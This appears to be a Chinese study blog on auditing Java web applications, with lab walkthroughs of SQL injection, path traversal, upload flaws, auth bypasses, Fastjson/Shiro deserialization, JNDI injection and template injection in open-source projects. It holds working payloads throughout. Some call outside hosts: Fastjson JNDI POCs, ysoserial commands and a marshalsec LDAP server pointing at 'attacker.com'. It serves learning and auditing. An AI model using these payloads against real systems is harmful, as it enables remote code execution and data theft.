Java代码审计

Java代码审计

  • 读懂一段代码:从下到上追踪,找到变量的传递与函数之间的关系,理清代码即可大致读懂
  • 分析变量组成:打印出每个过程参数的值逐个分析(调试)

通用步骤

  • 寻找漏洞触发点
  • 构造payload尝试利用漏洞

checklist

Java代码审计checklist(上) (qq.com)

JAVA攻防基础之代码审计 (qq.com)

SQL注入

  • 三个模式

    JDBC,Mybatis,Hibernate

    JDBC与Mybatis:持久层技术对比:Mybatis 与 JDBC 的区别到底在哪里_jdbc和mybatis的应用场景-CSDN博客

  • 出现注入

    • 原生JDBC是否存在直接拼接sql语句(使用+,或者使用StringBuilder.append()),未经过预编译
    • Mybatis使用${}
    • Hibernate, JPA是默认经过预编译的,但是开发自己编写的sql语句,需要检查
  • 参考文章:JAVA常用框架SQL注入审计 (qq.com)

  • 判断模式

    • 看项目中说明使用的技术框架
    • 看引用中加载的那些技术框架
    • 看配置源码中相关的配置文件
  • 入口确定

    1. 是否使用预编译技术,预编译是否完整
    2. 定位sql语句上下文,查看是否有参数直接拼接,是否对模糊查询关键字的过滤
    3. Mybatis框架则搜索${},四种情况无法预编译:like模糊查询,order by排序,范围查询in,动态列名,表名,只能拼接,所以还是需要手工防注入
      注:like和in语句直接使用#{}会报错,改为${}恢复正常但是无法预编译

​ 正确写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
  mysql:
select * from users where username like concat('%',#{username},'%')
oracle:
select * from users where username like '%'||#{username}||'%'
sqlserver:
select * from users where username like '%'+#{username}+'%'
```


#### 步骤

- 找模式
- 搜关键字
- 追踪确定可控变量
- 确定路由
- 构造payload测试

#### jfinal_cms案例

- 查看配置文件发现是JDBC驱动

- 全局搜索append()关键字,寻找与sql相关的语句

![图片](/img/java审计/java审计01.png)

发现新定义了一个sql语句,并且使用了append()函数拼接

- 判断orderBy变量是否可控,有无过滤

- 追踪getBaseForm()类与getOrderBy()方法发现

![](/img/java审计/java审计02.png)

- 找到对应路由后访问抓包,发现数据包中有form.orderColumn参数,添加*号放到sqlmap中测试payload

#### oa_system-master案例

- 查看文字说明发现此oa系统使用的是Mybatis框架

- 指定文件掩码为 *.xml,全局搜索${

![](/img/java审计/java审计03.png)

跳转查看baseKey参数,全局搜索selece的id值sortMyNotice

- 寻找baseKey的实现,确定路由为(/informlistpaging)

![](/img/java审计/java审计04.png)

- 找到路由后访问抓取数据包,使用sqlmap测试payload

#### RuoYi案例

- 在源码简介处发现使用的Mybatis框架

- 搜索关键字${

- 找到可能存在不安全写法的地方(筛选出可能的注入点,可执行sql语句)

![](/img/java审计/java审计05.png)

追踪updateDeptStatus的用法

- 全局搜索updateDeptStatus关键字逐个查找用法(寻找路由关系)

- 直接搜索updateDeptStatus关键字发现此关键字出现在service层中

- 基于springboot中,执行sql语句的三个调用
- 业务层调用Dao层
- controller调用service层间接调用Dao层
- controller直接调用Dao层
- 路由关系一般写在controller中

- 选中updateDeptStatus关键字,点击查找用法,发现updateDept调用了此方法,继续追踪此方法,找到SysDeptController文件中有调用updateDept方法,

顺利找到路由关系

${->updateDeptStatus->updateParentDeptStatus->updateDept->/system/dept/edit

- 测试payload

- 直接访问url地址发现报错

- 根据中文注释找到功能点抓取数据包,成功找到/system/dept/edit路由的数据

- 发现数据包中没有注入参数值,尝试手动添加

- 使用sqlmap无法成功注入,使用手工注入

- ```java
DeptName=1&DeptId=100&ParentId=12&&status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

  • 使用括号绕过空格过滤

文件安全

Java代码审计:文件篇/文件上传/文件读取/目录遍历_潜在路径遍历(文件读取) 打开文件以读取其内容。文件名来自输入参数。如果将未过-CSDN博客

  • 关键字查询

Inxedu案例(前台文件上传)

  • 搭建网站后直接寻找功能点,发现有文件上传

  • 尝试上传文件找到路由

  • 此网站源码将文件安全代码封装在jar包中,/UploadController.class,需要通读目录,理清结构才能找到

  • 根据上传文件时找到的路由,确定控制代码

  • 发现是黑名单过滤,只过滤jsp文件

  • 使用工具生成jspx文件,修改前端白名单过滤代码,成功上传

Tmall案例

后台文件上传
  • 搜索文件安全相关关键字

  • 搜索new File,找到文件上传相关代码

    文件上传过滤一般关注后缀,所以在此段代码中应该关注文件名后缀是如何获取的

    发现这段代码是直接获取了原文件后缀后并没有过滤,而是直接上传了

  • 开始测试,发现有前端验证,抓包后更改后缀为jsp可以正常上传

过滤器鉴权
  • 找到过滤器核心代码AdminPermissionFilter类

  • 找到核心控制方法doFilter

    发现鉴权存在了漏洞,容易越权

  • 进行测试

    • 在数据包url中加上 /admin/login/../../
    • 成功绕过鉴权

RuoYi-4.5.0(文件下载)

  • 搜索关键字new FileInputStream

    找到这段相关代码控制字节输出,但是发现这个类中没有路由关系,不能直接触发此漏洞

  • 尝试查找是否有用过writeBytes方法

  • 查找用法后发现,CommonController类中fileDownload方法和resourceDownload方法调用了此方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    @GetMapping("/common/download/resource")
    public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response)
    throws Exception
    {
    // 本地资源路径
    String localPath = Global.getProfile();
    // 数据库资源地址
    String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);
    // 下载名称
    String downloadName = StringUtils.substringAfterLast(downloadPath, "/");

    response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);
    FileUtils.setAttachmentResponseHeader(response, downloadName);

    FileUtils.writeBytes(downloadPath, response.getOutputStream());
    }
    }

    打印出localPath与downloadPath的值查看resource参数是如何构成的

    代码释义

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    /**
    * 资源文件下载接口
    * @param resource 资源路径参数(包含资源标识符)
    * @param request HTTP请求对象
    * @param response HTTP响应对象
    * @throws Exception 可能抛出的异常
    */
    @GetMapping("/common/download/resource") // 定义GET请求映射路径
    public void resourceDownload(String resource, HttpServletRequest request, HttpServletResponse response)
    throws Exception
    {
    // 获取本地资源存储的基础路径(例如:D:/upload/)
    String localPath = Global.getProfile();

    // 从resource参数中截取资源相对路径,并拼接成完整物理路径
    // 例如:resource="profile/xxx.jpg" → 截取后变成"/xxx.jpg" → 最终路径"D:/upload/xxx.jpg"
    String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);

    // 从完整路径中提取文件名(最后一个/后的内容)
    // 例如:"D:/upload/xxx.jpg" → "xxx.jpg"
    String downloadName = StringUtils.substringAfterLast(downloadPath, "/");

    // 设置响应内容类型为二进制流(强制浏览器下载而不是直接打开)
    response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);

    // 设置响应头,指定下载文件名(解决中文乱码等问题)
    FileUtils.setAttachmentResponseHeader(response, downloadName);

    // 将文件内容写入响应输出流(实现下载)
    FileUtils.writeBytes(downloadPath, response.getOutputStream());
    }

    localPath是开发人员自己设置的源代码路径,发现没有过滤../

  • 构造payload(实战中要猜测文件所处的位置,文件夹名称)

    1
    http://localhost:8088//common/download/resource?resource=/profile/../RuoYi-v4.5.0/ruoyi-admin/src/main/resources/application-druid.yml
  • 在v4.6.0版本中的同样位置找到新版本修复了此漏洞,过滤了../,多了检测规则

oa-system-master案例(文件读取)

  • 搜索关键字FileInputStream

    找到一段相关代码,开始审计

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    @RequestMapping("//**")
    public void /(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
    throws Exception {
    String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
    System.out.println(projectPath);
    String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));

    String path = startpath.replace("//", "");

    File f = new File(rootpath, path);

    ServletOutputStream sos = response.getOutputStream();
    FileInputStream input = new FileInputStream(f.getPath());
    byte[] data = new byte[(int) f.length()];
    IOUtils.readFully(input, data);
    // 将文件流输出到浏览器
    IOUtils.write(data, sos);
    input.close();
    sos.close();
    }
    }

    读懂一段代码:从下到上追踪,找到变量的传递与函数之间的关系,理清代码即可大致读懂

  • 打印出每个过程参数的值逐个分析

  • 发现传入的值是rootpath与path的值的拼接

  • 构造payload:

    • 同样是使用../跳到上一级的原理

    • /////..///..///..///..///..//1.txt
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60

      - 根据源代码,//会被替换为空

      - 只有url中加上//才能正常执行,具体原因未知

      ### 鉴权 未授权访问

      [Java代码审计&鉴权漏洞&Interceptor&Filter&Shiro&JWT_java鉴权-CSDN博客](https://blog.csdn.net/qq_46081990/article/details/135207986)

      1. 过滤器 -- 逻辑安全问题
      2. 自定义代码 -- 逻辑安全问题
      3. shiro框架验证 -- 找shiro版本漏洞

      - 鉴权使用的框架,拦截器,过滤器等

      ![](/img/java审计/java审计14.png)

      拦截器一般流程

      ![](/img/java审计/java审计15.png)

      #### 挖掘点

      1. 拦截器中是否鉴权
      2. 过滤器中是否鉴权
      3. Shiro版本及其逻辑配置
      4. 有无JWT
      5. 以上都没有,查找是否是自写代码鉴权

      #### Newbee案例(拦截器)

      - 确定鉴权使用的是哪种模式
      - 在pom.xml文件中搜索jwt和shiro关键字,发现并没有这两种依赖的导入
      - 继续通过翻看目录确定是过滤器还是拦截器
      - 翻看过程中发现有intercepetor目录

      - 确定使用拦截器鉴权

      - 拦截器鉴权一般写在preHandle方法内

      ```java
      public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object o) throws Exception {
      // 获取当前请求的路径
      String requestServletPath = request.getServletPath();

      // 检查请求路径是否以"/admin"开头且会话中没有"loginUser"属性(即用户未登录)
      if (requestServletPath.startsWith("/admin") && null == request.getSession().getAttribute("loginUser")) {
      // 设置错误消息到会话中
      request.getSession().setAttribute("errorMsg", "请登陆");
      // 重定向到管理员登录页面
      response.sendRedirect(request.getContextPath() + "/admin/login");
      // 返回false表示中断请求继续执行
      return false;
      } else {
      // 如果已登录或非admin路径请求,则清除可能的错误消息
      request.getSession().removeAttribute("errorMsg");
      // 返回true允许请求继续执行
      return true;
      }
      }

    核心判断语句requestServletPath.startsWith(“/admin”) && null

    路径开头以admin开头,并且session中loginUser为null

  • 利用方式:构造路径为/;/admin或//admin后访问

  • 实操发现页面显示404,猜测是与浏览器有关

华夏ERP案例(过滤器)

  • 同样在依赖中先搜索jwt和shiro关键字,发现没有

  • 翻找目录看到filter目录,发现是过滤器设置

  • 过滤器核心代码在doFilter方法内

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
    throws IOException, ServletException {

    // 1. 将 ServletRequest/ServletResponse 转换为 HttpServletRequest/HttpServletResponse
    HttpServletRequest servletRequest = (HttpServletRequest) request;
    HttpServletResponse servletResponse = (HttpServletResponse) response;

    // 2. 获取当前请求的 URL
    String requestUrl = servletRequest.getRequestURI();

    // 3. 检查用户是否已登录(session 中是否有 "user" 属性)
    Object userInfo = servletRequest.getSession().getAttribute("user");

    // 4. 如果用户已登录,直接放行请求
    if (userInfo != null) {
    chain.doFilter(request, response);
    return;
    }

    // 5. 如果请求的是登录页(/login.html)或注册页(/register.html),直接放行
    if (requestUrl != null && (requestUrl.contains("/login.html") || requestUrl.contains("/register.html"))) {
    chain.doFilter(request, response);
    return;
    }

    // 6. 检查请求是否在忽略列表(ignoredList)中,如果是则放行
    if (verify(ignoredList, requestUrl)) {
    chain.doFilter(servletRequest, response);
    return;
    }

    // 7. 检查请求是否在白名单(allowUrls)中,如果是则放行
    if (null != allowUrls && allowUrls.length > 0) {
    for (String url : allowUrls) {
    if (requestUrl.startsWith(url)) {
    chain.doFilter(request, response);
    return;
    }
    }
    }

    // 8. 如果以上条件都不满足,说明用户未登录且访问的是受保护资源,重定向到登录页
    servletResponse.sendRedirect("/login.html");
    }

    利用白名单过滤绕过鉴权

  • 抓包,在数据包url处更改

    1
    2
    3
    4
    /login.html/../account/getAccount     =  /account/getAccount 
    /register.html/../account/getAccount = /account/getAccount
    /a.js/../account/getAccount = /account/getAccount
    /user/login/../../account/getAccount = /account/getAccount

Tumo案例(Shiro)

  • 同样先在依赖中搜索关键字,发现此源代码使用了shiro框架

  • 查看版本,查找资料判断是否有权限绕过漏洞

  • 查看目录找到shiro配置文件

    1
    2
    3
    4
    tumo.shiro.anon_url=\
    /login,/logout,/register,\
    /,/about,/p/**,/links,/comment/**,/link/list,/article/list,\
    /css/**,/js/**,///**

    anon代表可以匿名访问(无需登录)

  • 寻找url后带有/**的,可以利用它访问到其他地址

FastCMS案例(JWT鉴权)

  • Jwt技术鉴权

    • 生成时使用空加密(逻辑代码问题)
    • 服务端未校验签名(逻辑代码问题)
    • 密钥默认未被修改(搭建后未修改)
    • 密钥爆破可能性大(密钥过于简单)
  • 开始审计

  • 搜索关键字jwt发现有包引用

    或:数据包中存在jwt特征:两个点将token分解为三段

  • 检查密钥是否修改

  • 越权实例:Nacos漏洞复现总结 - BattleofZhongDinghe - 博客园 (cnblogs.com)

第三方组件漏洞利用

  • 找存在的第三方组件(Package Checker插件)
  • 找组件利用入口条件(根据网上已知漏洞复现条件)
  • 找可控地方测试检测(根据网上已知漏洞利用条件)

Tmall案例(Fastjson)

  • 在pom.xml文件中找到FastJson的依赖项,其版本为1.2.58

  • 漏洞触发函数 JSON.parseObject() JSON.parse()

    • JSON.parseObject() 是 FastJSON 的核心方法,用于 JSON → Java 对象的转换。
    • JSON.parse()(返回 Object)更常用,因为它可以直接指定目标类型。
  • 全局搜索关键字后,继续寻找有可控变量的地方,才有利用点

    找到此代码并且发现此变量可控,确定此处为漏洞触发点

  • 搭建好环境后通过代码可以判断漏洞利用点在添加商品功能处

  • 抓取数据包,将propertyJson参数更改为poc

    参考文章:Fastjson反序列化审计及验证_fastjson 1.2.58漏洞-CSDN博客

    使用dns平台:{“@type”:”java.net.Inet4Address”,”val”:”3042zb.dnslog.cn”}

    在实操过程中有500报错

    原因

    视频演示时可以收到访问请求

    后续查看时发现bp自带的测试地址收到了访问请求

Tmall-Log4j 2.10.0

RuoYi-v4.2.0(shiro漏洞利用)

反序列化
权限绕过

Shiro权限绕过漏洞分析(CVE-2020-1957) - FreeBuf网络安全行业门户

  • shiro的一般规则

  • 找到ShiroConfig.java文件查看允许匿名访问的目录

  • 根据文章构造poc测试

Halo(H2Database)

H2 database漏洞复现 - Running_J - 博客园 (cnblogs.com)

  • 搭建好环境进入后台

  • 访问页面http://localhost:8090/h2-console

  • 利用jndi注入工具生成poc

  • 传值

    javax.naming.InitialContext

    注入使用的poc

  • 实操并未弹出计算器,猜测是jdk版本过高

  • 此漏洞利用要求:H2 database自带的web管理页面允许外部用户访问web管理界面,且不经过身份验证

    1
    2
    3
    4
    5
    //这个就是设置启用还是禁用web管理界面
    spring.h2.console.enabled=true
    //这个就是设置是否允许外部用户进行访问管理界面,并不通过身份验证
    spring.h2.console.settings.web-allow-others=true
    如果这两个设置钧开启,那么就可以利用jndi进行注入攻击。

SSTI模板注入

  1. 找项目中是否存在模板引擎(类型及安全问题)
  2. 找模板注入利用入口条件
  3. 找可控地方进行测试检测
  • 常见模板引擎

Halo案例(FreeMarker模板)

Java安全之freemarker 模板注入 - nice_0e3 - 博客园 (cnblogs.com)

  • 全局搜索关键字freemarker,发现源代码中有freemarker的配置

    发现FreeMarker的配置文件是 .ftl后缀

  • 修改resources\templates\themes\anatole\index.ftl文件

    加入poc

    1
    2
    3
    <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}

    <#assign test="freemarker.template.utility.Execute"?new()>${test("calc")}

    运行此容器,打开首页发现有计算机弹出,执行了系统命令

  • 漏洞利用

    • 找到模板文件中可控变量,写入poc
  • 此源代码没有利用入口

RuoYi-v4.6.0案例(Thymeleaf)

Thymeleaf Fragment 注入漏洞复现及新姿势扩展-先知社区 (aliyun.com)

  • 搜索关键字发现是Thymeleaf模板

  • 找入口(寻找与文章中类似的return入口)

    存在可控变量的return入口

  • 找到路由

    http://localhost:8088/monitor/cache

  • 抓取数据包后更改变量fragment的值,传入payload

    1
    __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

    成功弹出计算器

FastJson反序列化漏洞

微信公众平台 (qq.com)

https://xz.aliyun.com/news/12174#toc-16 (Java反序列化之FastJson反序列化及绕过)

Fastjson漏洞利用姿势技巧集合 | Fastjson payload - 🔰雨苁ℒ🔰 (ddosi.org)

fastjson反序列化漏洞原理

  • 使用AutoType功能进行序列化的JSON字符会带有一个@type来标记其字符的原始类型

  • 在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的set或者get方法

  • @type的类有可能被恶意构造,构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

  • 常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:

    1. 攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
    2. 存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令
    3. rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
    4. rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
      靶机服务器执行了恶意代码,被攻击者成功利用。

Jndi注入原理

  • JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

  • JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

漏洞环境搭建

1.2.24
  • FastjsonController

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    package com.kuang.fastjson.demos.web;

    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;

    public class FastjsonController {
    public static void main(String[] args) {
    String str="{\"name\":\"xiaodisec\",\"age\":31}";
    String userStr="{\"@type\":\"com.kuang.fastjson.demos.web.User\",\"name\":\"xiaodisec\",\"age\":21}";

    JSONObject data = JSON.parseObject(userStr);
    System.out.println(data);
    }
    }
  • 加入User类解析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    package com.kuang.fastjson.demos.web;

    public class User {

    private String name;

    private Integer age;

    public String getName() {
    System.out.println("getName");
    return name;
    }

    public void setName(String name) {
    System.out.println("setName");
    this.name = name;
    }

    public Integer getAge() {
    System.out.println("getAge");
    return age;
    }

    public void setAge(Integer age) {
    System.out.println("setAge");
    this.age = age;
    }
    }

    运行后发现传入其他类解析后默认执行get set类方法

  • 构造poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    package com.kuang.fastjson.demos.web;

    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;

    public class FastjsonController {
    public static void main(String[] args) {

    //触发fastjson反序列化用到JSON.parseObject,JSON.parse()

    String str="{\"name\":\"xiaodisec\",\"age\":31}";
    String userStr="{\"@type\":\"com.kuang.fastjson.demos.web.User\",\"name\":\"xiaodisec\",\"age\":21}";
    String poc="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://172.31.80.1:1389/fjfljn\", \"autoCommit\":true}";
    JSONObject data = JSON.parseObject(poc);
    System.out.println(data);
    }
    }
  • 成功弹出计算器!!!

  • 反序列化原理分析

    • 传入其他类解析时会调用 getdataSourceName,setdataSourceName,

                                               getautoCommit,setautoCommit方法
      
    • 调用setAutoCommit方法时调用了 connect方法,connect方法中调用了lookup()方法

      控制注入核心触发代码

    • 分析过程

1.2.25版本
  • 发现原来的poc无法执行

  • 定位到checkAutoType()方法,看一下它的逻辑:如果开启了autoType,那么就先判断类名在不在白名单中,如果在就用TypeUtils.loadClass加载,如果不在就去匹配黑名单:

    jndi注入需要的类名在黑名单中,autoType默认关闭,无法使用原poc

  • 在demo controller中添加一行代码,开启AutoType

    1
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

    在原poc包名前加上L,后面加;

    即可弹出计算器

  • 发掘两步骤的原因

    • 前加L,后加;,用于绕过黑名单,后续有方法去除L与;

    • 开启autoType

      断点调试后发现,如果不开启autoType,不会匹配白名单,会直接爆出autoType is not support

      后续代码都全部显示异常

1.2.25-1.2.47通杀poc
  • poc

    1
    {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/exp","autoCommit":true}}
  • 测试发现能正常弹出计算器

  • 利用步骤

    • 利用java.lang.Class将恶意类加载到mappings中
    • 从mappings中取出恶意代码并绕过黑名单进行反序列化

Shiro反序列化

  • shiro反序列化链分析(获取用户请求)

    • 获取cookie中rememberMe的值
    • 对remember进行Base64解码
    • 使用AES解密
    • 对解密的值进行反序列化

    550:Shiro-550 漏洞主要是由于 Shiro 的 rememberMe 内容反序列化导致的命令执行漏洞。其原因是默认加密密钥硬编码在 Shiro 源码中,攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为 cookie 的 rememberMe 字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行恶意代码。

    721:Shiro-721 漏洞利用了 AES-128-CBC 加密模式的 Padding Oracle Attack。攻击者可以通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

漏洞环境搭建以及利用链分析

shiro550

Java安全之Shiro 550反序列化漏洞分析 - nice_0e3 - 博客园 (cnblogs.com)

  • 给jstl加上版本为1.2

  • tomcat部署工件

  • 访问url

    1
    http://127.0.0.1:8089/samples_web_war/login.jsp
  • 登录时抓取数据包

  • 在返回包中找到cookie关键字为rememberMe

  • 通过关键字爆破密钥并检测

  • 漏洞分析

  • 在DefaultSecurityManager类的rememberMeSuccessfulLogin方法处下断点

    目的:

    • shiro登陆操作执行逻辑
    • 反序列化漏洞的产生
    • 利用条件
  • 追踪函数后发现

    • 加密:序列化->aes加密->base64加密->存入cookie

    • 接受序列化数据解密

      接受解密:base64解码->aes解密->反序列化

  • 调试时发现的AES加密密钥

    key数组可利用python脚本还原为原密钥字符串

  • shiro反序列化无法利用fastjson的利用链

    • 原因

      • fastjson利用方法:调用JdbcRowSetImpl类,通过set,get方法触发lookup方法传参(反序列化自定义方法),远程调用脚本

      • shiro反序列化:利用原生反序列化函数:readObject writeObject ObjectInputStream(漏洞点)

      • shiro可能有JdbcRowSetImpl类,不满足触发set,get条件

  • 利用工具使用利用链执行命令,成功弹出计算器

cc利用链分析

  • CC链,全称为CommonsCollections链,是指在Java反序列化漏洞中利用Apache Commons Collections库中的特定类和方法,构造出一条可以执行任意代码的调用链。CC链的核心在于利用反射机制,通过一系列的类和方法调用,最终达到执行恶意代码的目的。

  • 攻击链的选取与框架加载的外部库有关,外部库中存在原生的漏洞

  • CB链分析:关于我学渗透的那档子事之Java反序列化-CB链 - FreeBuf网络安全行业门户

  • 知识要点

    • 入口点:触发反序列化的重写readObject方法

    • getProperty()方法

      CB里面的类方法 对对象的一个方法进行调用

      1
      2
      3
      4
      //PropertyUtils.getProperty(new Person(),"name");
      //自动调用Person对象里面的getName方法
      PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties")
      //自动调用TemplatesImpl对象里面的getOutputProperties方法
  • 漏洞复现及CB链分析

    1
    2
    3
    4
    5
    6
    7
    //将利用链分为三部分

    TemplatesImpt类->调用恶意类

    BeanComparator类->利用javabean调用getOutputProperties()

    PriorityQueue类->反射调用PropertyUtils.getPropert
    • 入口点

      PriorityQueue #readObject -> heapify() -> siftDown -> siftDownUsingComparator -> comparator.compare

      -> BeanComparator.compare

      BeanComparator.compare会执行PropertyUtils.getProperty

      1
      2
      3
      4
      5
      6
      Object value1 = PropertyUtils.getProperty(o1, this.property);
      Object value2 = PropertyUtils.getProperty(o2, this.property);

      o1=new TemplatesImpl()
      property=outputProperties
      会自动调用TemplatesImpl#getOutputProperties方法

      条件

      • size >=2
      • comparator != null
      • property != null

      TemplatesImpl 链,属于CC链分析 RCE

      -> TemplatesImpl #getOutputProperties

      -> newTransformer()

      -> TransformerImpl(getTransletInstance())

      -> defineTransletClasses()

      -> loader.defineClass(执行命令)

      条件:

      _name !=null

      _class !=null

      _bytecodes != null (命令参数)

  • loader.defineClass

    ClassLoader.defineClassClassLoader 的一个受保护方法,它允许将字节数组转换为 Java 类。攻击者可借助它加载任意恶意类(即“内存马”或包含命令执行的类):

    1
    Class<?> clazz = loader.defineClass(name, classBytes, 0, classBytes.length);

    这样,classBytes 中的字节码就会被定义为类并加载进 JVM,随之可能执行静态代码块或构造方法中携带的恶意逻辑。

    defineClass 本身不执行命令,它只是将字节码加载为类。真正执行命令的行为,通常发生在:

    • 类的静态代码块
    • 类的构造方法
    • 类的方法中,被随后立即调用。

    例如:

    1
    2
    3
    4
    5
    public class EvilClass {
    static {
    Runtime.getRuntime().exec("calc");
    }
    }

    一旦被加载(通过 defineClass),这个类的静态代码块就会立即执行,造成命令执行。

  • 反序列化简化流程图

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    反序列化入口

    CC利用链触发(TemplatesImpl、InvokerTransformer 等)

    调用 defineClass(classBytes)

    加载恶意类

    静态块/构造器执行

    命令执行(如 Runtime.getRuntime().exec
  • 反序列化构造cc链能够命令执行的核心

    1. TemplatesImpl.getOutputProperties() 会触发内部 defineTransletClasses()
    2. 这个方法调用了 defineClass(),加载了我们注入的恶意类;
    3. 恶意类的 静态代码块 被立即执行 → Runtime.getRuntime().exec("calc")

JNDI注入及其高版本绕过

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)

  • JNDI注入触发的三个模式

    1. 远程引用模式(基于JDK版本)
    2. 本地引用模式(基于依赖Jar)
    3. 反序列化模式(基于gadget链)
  • jndi注入的版本限制

    高版本无法注入的原因:

    • com.sun.jndi.rmi.object.trustURLCodebase,

      com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即不允许从远程的Codebase加载Reference工厂类,没限制加载本地文件

  • 高版本绕过方法

    • 利用jar包

      探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)

      白盒审计时查看引入了什么依赖,根据引入的依赖利用本地jar包,进行jndi注入

    • 利用反序列化链(同样需要依赖包)

      JNDI注入利用原理及绕过高版本JDK限制_jndi注入的限制-CSDN博客

      java高版本下各种JNDI Bypass方法复现 - bitterz - 博客园 (cnblogs.com)

      原理:

      即使:

      • 远程类加载被禁用了(禁止 http://... 类加载)
      • trustURLCodebase=false

      只要 Java 会尝试读取对象并反序列化(如通过 ObjectInputStream),攻击者就可以在返回中嵌入序列化 Gadget 链对象,并在目标中激活它

      1
      2
      3
      4
      5
      6
      7
      java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "calc" > poc.txt
      cat poc.txt|base64.txt(替换换行符)
      ldap://127.0.0.1:6666/exp

      #需要依赖包
      <groupId>commoms-collections</groupId>
      <artifactId>commons-conllections</artfactId>

      在 Java 8u191+ 等高版本中,虽然远程类加载被禁用了(trustURLCodebase=false),但如果目标系统中已经存在可用的 Gadget 链(利用链)类,就可能通过 JNDI 注入触发反序列化,从而执行任意命令

      绕过思路:利用已有 Gadget 链

      条件

      1. JNDI 注入点存在(如 Log4j、Tomcat 配置等)
      2. 目标服务器已有可利用的类(如 commons-collections、Groovy、Spring 组件等)
      3. 支持 LDAP 或 RMI 绑定 Object 实例(不是远程类加载,而是对象反序列化)

      绕过方式技术细节

      1.使用 LDAP 服务返回 序列化对象(不是类引用)

      攻击者搭建恶意 LDAP 服务器,当目标发起 JNDI 查询时,返回一个已经构造好的 Java 序列化对象(Object),而不是远程类的 URL。

      即不需要 trustURLCodebase = true,而是利用:

      1
      Reference → Referenceable → 特定 Gadget 链的序列化对象
      1. 构造 Gadget 链(利用 ysoserial 工具)
      1
      java -jar ysoserial.jar CommonsCollections5 'calc' > payload.ser

      使用 marshalsec 项目中的 LDAPServer 模拟 LDAP 服务,返回这个对象。

      1
      java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"

内存马

